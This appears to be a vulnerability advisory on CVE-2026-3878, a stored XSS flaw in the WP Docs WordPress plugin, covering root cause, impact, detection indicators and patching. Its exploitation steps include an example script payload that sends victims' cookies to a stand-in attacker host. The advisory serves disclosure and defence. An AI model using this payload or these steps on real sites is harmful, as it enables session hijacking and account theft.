CVE-2026-3878: 
WordPress vulnerability analysis and mitigation

CVE-2026-3878 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Docs plugin for WordPress, affecting all versions up to and including 2.2.9. The flaw exists in the wpdocs_options[icon_size] parameter due to insufficient input sanitization and output escaping, allowing authenticated attackers with subscriber-level access or higher to inject arbitrary web scripts. It was published on April 16, 2026, with a CVSS v3.1 base score of 6.4 (Medium) (Github Advisory, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), where user-supplied input to the wpdocs_options[icon_size] plugin setting parameter is neither properly sanitized on input nor escaped on output. An authenticated attacker with at minimum subscriber-level WordPress access can submit a malicious payload to this parameter, which is then persistently stored and rendered in page output without sanitization. Because the scope is marked as "Changed," the injected script can affect users and resources beyond the attacker's own session context (Github Advisory, Wordfence).

Successful exploitation allows injected scripts to execute in the browsers of any user who visits an affected page, enabling session hijacking, credential theft, unauthorized actions performed on behalf of victims, website defacement, or redirection to malicious sites. The vulnerability has low confidentiality and integrity impact per CVSS, but the changed scope means the attack can affect users beyond the attacker's privilege level. Availability is not directly impacted (Github Advisory, Wordfence).

There is no known public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.01% (2nd percentile), indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation requires authenticated access at subscriber level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Github Advisory, Wordfence).

1. Obtain Authenticated Access: Register or log in to the target WordPress site with at least subscriber-level credentials.
2. Navigate to Plugin Settings: Access the WP Docs plugin settings page in the WordPress admin or subscriber-accessible interface where the wpdocs_options[icon_size] parameter can be submitted.
3. Inject Malicious Payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) as the value of the wpdocs_options[icon_size] parameter.
4. Payload Stored: The malicious script is saved to the WordPress database without proper sanitization.
5. Trigger Execution: When any user (including administrators) visits a page that renders the injected parameter value, the script executes in their browser, enabling session cookie theft, credential harvesting, or other malicious actions (Github Advisory, Wordfence).

• Logs: WordPress access logs showing POST requests to plugin settings endpoints containing script tags or encoded JavaScript in the wpdocs_options[icon_size] field; unexpected admin activity from low-privileged accounts.
• Database: The wp_options table containing entries for wpdocs_options with values including <script>, javascript:, or other XSS payloads in the icon_size field.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages that render WP Docs plugin output, potentially indicating cookie or credential exfiltration.
• File System: Unexpected new files (e.g., web shells) in the WordPress installation if the XSS was leveraged to escalate privileges and achieve further compromise.

Update the WP Docs plugin to a version released after 2.2.9, which addresses the insufficient sanitization of the wpdocs_options[icon_size] parameter. The patch is available via the WordPress plugin repository changeset (WP Docs Changeset). As interim mitigations, restrict subscriber-level registration to only trusted users, deploy a Web Application Firewall (WAF) to detect and block XSS payloads in plugin settings, and monitor plugin settings for unauthorized changes (Github Advisory, Wordfence).

Wordfence, the assigning CNA, included this vulnerability in their weekly WordPress vulnerability report for April 13–19, 2026, as part of routine disclosure coverage (Wordfence Weekly Report). No significant independent researcher commentary or broader media coverage has been identified for this moderate-severity vulnerability.